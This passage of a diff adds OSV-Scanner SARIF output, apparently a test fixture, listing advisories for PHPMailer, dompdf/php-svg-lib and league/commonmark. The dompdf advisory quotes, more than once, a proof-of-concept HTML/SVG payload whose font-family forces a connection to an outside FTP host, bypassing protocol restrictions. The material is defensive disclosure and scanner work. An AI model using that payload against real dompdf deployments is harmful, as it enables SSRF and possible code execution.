9256f12d8fb0cd0500f93b19e18c356906cbed3d |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-77mr-wc79-m8j3 | phpmailer/phpmailer | 6.5.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-3603\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
779
+ },
780
+ "id": "CVE-2021-3603",
781
+ "name": "CVE-2021-3603",
782
+ "properties": {
783
+ "security-severity": "8.1"
784
+ },
785
+ "relationships": [],
786
+ "shortDescription": {
787
+ "markdown": "CVE-2021-3603: PHPMailer untrusted code may be run from an overridden address validator",
788
+ "text": "CVE-2021-3603: PHPMailer untrusted code may be run from an overridden address validator"
789
+ }
790
+ },
791
+ {
792
+ "deprecatedIds": [
793
+ "CVE-2021-34551",
794
+ "BIT-phpmailer-2021-34551",
795
+ "GHSA-7q44-r25x-wm4q"
796
+ ],
797
+ "fullDescription": {
798
+ "markdown": "PHPMailer 6.4.1 contains a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to create a remote mount on the server that the UNC path points to, a script file under their control may be executed. \n\n### Impact\nArbitrary code may be run by a remote attacker under the web server or PHP process running on Window hosts.\n\n### Patches\nMitigated in PHPMailer 6.5.0 by no longer treating translation files as PHP code, but by parsing their text content directly.\nThis approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release.\n\n### Workarounds\nAny of:\n* Ensure that calling code does not pass unfiltered user-supplied data to the `$lang_path` parameter of the `setLanguage()` method.\n* Block or filter the use of unknown UNC paths in this parameter (or altogether).\n* Ensure that unauthorised users do not have the ability to read from unknown remote servers via UNC paths.\n* Run on an OS that does not support UNC paths\n\n### References\n[CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551).\n\nReported by [listensec.com](https://listensec.com) via Tidelift.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\n* [Email the maintainers](mailto:phpmailer@synchromedia.co.uk)\n",
799
+ "text": "PHPMailer 6.4.1 contains a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to create a remote mount on the server that the UNC path points to, a script file under their control may be executed. \n\n### Impact\nArbitrary code may be run by a remote attacker under the web server or PHP process running on Window hosts.\n\n### Patches\nMitigated in PHPMailer 6.5.0 by no longer treating translation files as PHP code, but by parsing their text content directly.\nThis approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release.\n\n### Workarounds\nAny of:\n* Ensure that calling code does not pass unfiltered user-supplied data to the `$lang_path` parameter of the `setLanguage()` method.\n* Block or filter the use of unknown UNC paths in this parameter (or altogether).\n* Ensure that unauthorised users do not have the ability to read from unknown remote servers via UNC paths.\n* Run on an OS that does not support UNC paths\n\n### References\n[CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551).\n\nReported by [listensec.com](https://listensec.com) via Tidelift.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\n* [Email the maintainers](mailto:phpmailer@synchromedia.co.uk)\n"
800
+ },
801
+ "help": {
802
+ "markdown": "**Your dependency is vulnerable to [CVE-2021-34551](https://osv.dev/CVE-2021-34551)**.\n\n## [GHSA-7q44-r25x-wm4q](https://osv.dev/GHSA-7q44-r25x-wm4q)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e PHPMailer 6.4.1 contains a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to create a remote mount on the server that the UNC path points to, a script file under their control may be executed. \n\u003e \n\u003e ### Impact\n\u003e Arbitrary code may be run by a remote attacker under the web server or PHP process running on Window hosts.\n\u003e \n\u003e ### Patches\n\u003e Mitigated in PHPMailer 6.5.0 by no longer treating translation files as PHP code, but by parsing their text content directly.\n\u003e This approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release.\n\u003e \n\u003e ### Workarounds\n\u003e Any of:\n\u003e * Ensure that calling code does not pass unfiltered user-supplied data to the `$lang_path` parameter of the `setLanguage()` method.\n\u003e * Block or filter the use of unknown UNC paths in this parameter (or altogether).\n\u003e * Ensure that unauthorised users do not have the ability to read from unknown remote servers via UNC paths.\n\u003e * Run on an OS that does not support UNC paths\n\u003e \n\u003e ### References\n\u003e [CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551).\n\u003e \n\u003e Reported by [listensec.com](https://listensec.com) via Tidelift.\n\u003e \n\u003e ### For more information\n\u003e If you have any questions or comments about this advisory:\n\u003e * Open an issue in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\n\u003e * [Email the maintainers](mailto:phpmailer@synchromedia.co.uk)\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phpmailer/phpmailer | 9256f12d8fb0cd0500f93b19e18c356906cbed3d |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-7q44-r25x-wm4q | phpmailer/phpmailer | 6.5.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-34551\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
803
+ "text": "**Your dependency is vulnerable to [CVE-2021-34551](https://osv.dev/CVE-2021-34551)**.\n\n## [GHSA-7q44-r25x-wm4q](https://osv.dev/GHSA-7q44-r25x-wm4q)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e PHPMailer 6.4.1 contains a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to create a remote mount on the server that the UNC path points to, a script file under their control may be executed. \n\u003e \n\u003e ### Impact\n\u003e Arbitrary code may be run by a remote attacker under the web server or PHP process running on Window hosts.\n\u003e \n\u003e ### Patches\n\u003e Mitigated in PHPMailer 6.5.0 by no longer treating translation files as PHP code, but by parsing their text content directly.\n\u003e This approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release.\n\u003e \n\u003e ### Workarounds\n\u003e Any of:\n\u003e * Ensure that calling code does not pass unfiltered user-supplied data to the `$lang_path` parameter of the `setLanguage()` method.\n\u003e * Block or filter the use of unknown UNC paths in this parameter (or altogether).\n\u003e * Ensure that unauthorised users do not have the ability to read from unknown remote servers via UNC paths.\n\u003e * Run on an OS that does not support UNC paths\n\u003e \n\u003e ### References\n\u003e [CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551).\n\u003e \n\u003e Reported by [listensec.com](https://listensec.com) via Tidelift.\n\u003e \n\u003e ### For more information\n\u003e If you have any questions or comments about this advisory:\n\u003e * Open an issue in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\n\u003e * [Email the maintainers](mailto:phpmailer@synchromedia.co.uk)\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phpmailer/phpmailer | 9256f12d8fb0cd0500f93b19e18c356906cbed3d |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-7q44-r25x-wm4q | phpmailer/phpmailer | 6.5.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-34551\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
804
+ },
805
+ "id": "CVE-2021-34551",
806
+ "name": "CVE-2021-34551",
807
+ "properties": {
808
+ "security-severity": "8.1"
809
+ },
810
+ "relationships": [],
811
+ "shortDescription": {
812
+ "markdown": "CVE-2021-34551: Remote Code Execution vulnerability in PHPMailer 6.4.1 running on Windows",
813
+ "text": "CVE-2021-34551: Remote Code Execution vulnerability in PHPMailer 6.4.1 running on Windows"
814
+ }
815
+ },
816
+ {
817
+ "deprecatedIds": [
818
+ "GHSA-97m3-52wr-xvv2"
819
+ ],
820
+ "fullDescription": {
821
+ "markdown": "### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.",
822
+ "text": "### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available."
823
+ },
824
+ "help": {
825
+ "markdown": "**Your dependency is vulnerable to [GHSA-97m3-52wr-xvv2](https://osv.dev/GHSA-97m3-52wr-xvv2)**.\n\n## [GHSA-97m3-52wr-xvv2](https://osv.dev/GHSA-97m3-52wr-xvv2)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\u003e \n\u003e ### Details\n\u003e The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\u003e \n\u003e ```\n\u003e $name = basename($font);\n\u003e $dir = dirname($font);\n\u003e [...]\n\u003e $metrics_name = \"$name.ufm\";\n\u003e [...]\n\u003e \n\u003e if (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n\u003e ```\n\u003e \n\u003e Passing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\u003e \n\u003e \n\u003e ### PoC\n\u003e \n\u003e Consider the following, minimal PHP code : \n\u003e \n\u003e ```\n\u003e \u003c?php\n\u003e require('vendor/autoload.php');\n\u003e \n\u003e use Dompdf\\Dompdf;\n\u003e $dompdf = new Dompdf();\n\u003e $dompdf-\u003eloadHtml($_GET['payload']);\n\u003e $dompdf-\u003esetPaper('A4', 'landscape');\n\u003e $options = $dompdf-\u003egetOptions();\n\u003e $options-\u003esetAllowedProtocols([]);\n\u003e $dompdf-\u003erender();\n\u003e $dompdf-\u003estream();\n\u003e ```\n\u003e \n\u003e With payload being this html file : \n\u003e \n\u003e ```\n\u003e \u003chtml\u003e\n\u003e \u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003e \u003c/html\u003e\n\u003e ```\n\u003e \n\u003e with the base64 image being : \n\u003e ```\n\u003e \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003e \u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n\u003e \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\u003e \n\u003e ### Impact\n\u003e An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phenx/php-svg-lib | 4498b5df7b08e8469f0f8279651ea5de9626ed02 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-97m3-52wr-xvv2 | phenx/php-svg-lib | 0.5.2 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"GHSA-97m3-52wr-xvv2\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
826
+ "text": "**Your dependency is vulnerable to [GHSA-97m3-52wr-xvv2](https://osv.dev/GHSA-97m3-52wr-xvv2)**.\n\n## [GHSA-97m3-52wr-xvv2](https://osv.dev/GHSA-97m3-52wr-xvv2)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\u003e \n\u003e ### Details\n\u003e The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\u003e \n\u003e ```\n\u003e $name = basename($font);\n\u003e $dir = dirname($font);\n\u003e [...]\n\u003e $metrics_name = \"$name.ufm\";\n\u003e [...]\n\u003e \n\u003e if (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n\u003e ```\n\u003e \n\u003e Passing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\u003e \n\u003e \n\u003e ### PoC\n\u003e \n\u003e Consider the following, minimal PHP code : \n\u003e \n\u003e ```\n\u003e \u003c?php\n\u003e require('vendor/autoload.php');\n\u003e \n\u003e use Dompdf\\Dompdf;\n\u003e $dompdf = new Dompdf();\n\u003e $dompdf-\u003eloadHtml($_GET['payload']);\n\u003e $dompdf-\u003esetPaper('A4', 'landscape');\n\u003e $options = $dompdf-\u003egetOptions();\n\u003e $options-\u003esetAllowedProtocols([]);\n\u003e $dompdf-\u003erender();\n\u003e $dompdf-\u003estream();\n\u003e ```\n\u003e \n\u003e With payload being this html file : \n\u003e \n\u003e ```\n\u003e \u003chtml\u003e\n\u003e \u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003e \u003c/html\u003e\n\u003e ```\n\u003e \n\u003e with the base64 image being : \n\u003e ```\n\u003e \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003e \u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n\u003e \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\u003e \n\u003e ### Impact\n\u003e An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phenx/php-svg-lib | 4498b5df7b08e8469f0f8279651ea5de9626ed02 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-97m3-52wr-xvv2 | phenx/php-svg-lib | 0.5.2 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"GHSA-97m3-52wr-xvv2\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
827
+ },
828
+ "id": "GHSA-97m3-52wr-xvv2",
829
+ "name": "GHSA-97m3-52wr-xvv2",
830
+ "properties": {
831
+ "security-severity": "10"
832
+ },
833
+ "relationships": [],
834
+ "shortDescription": {
835
+ "markdown": "GHSA-97m3-52wr-xvv2: Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE",
836
+ "text": "GHSA-97m3-52wr-xvv2: Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE"
837
+ }
838
+ },
839
+ {
840
+ "deprecatedIds": [
841
+ "GHSA-c2pc-g5qf-rfrf"
842
+ ],
843
+ "fullDescription": {
844
+ "markdown": "### Impact\n\nSeveral polynomial time complexity issues in league/commonmark may lead to unbounded resource exhaustion and subsequent denial of service.\n\nMalicious users could trigger that inefficient code with carefully crafted Markdown inputs that are specifically designed to ensure the worst-case performance is reached. Sending multiple such requests in parallel could tie up all available CPU resources and/or PHP-FPM processes, leading to denial of service for legitimate users.\n\n### Patches\n\nThese vulnerabilities have been patched in version 2.6.0. All users on older versions are highly encouraged to upgrade as soon as possible.\n\n### Workarounds\n\nIf you cannot upgrade, you may be able to mitigate the issues by:\n\n- Setting very low `memory_limit` and `max_execution_time` PHP configurations to prevent runaway resource usage\n- Implementing rate-limiting, bot protection, or other approaches to reduce the risk of simultaneous bad requests hitting your site\n- Limiting the size of inputs fed into this library (specifically the max length of each line)\n- Limiting the use of this library to trusted users\n\n### References\n\nMost of these issues were discovered in other Markdown parsers. You can read more about them here:\n\n* https://github.com/commonmark/commonmark.js/issues/129\n* https://github.com/commonmark/commonmark.js/issues/157\n* https://github.com/commonmark/commonmark.js/issues/172\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5\n* https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh\n\nFor general information about this type of issue:\n\n* https://en.wikipedia.org/wiki/Time_complexity\n* https://cwe.mitre.org/data/definitions/407.html\n",
845
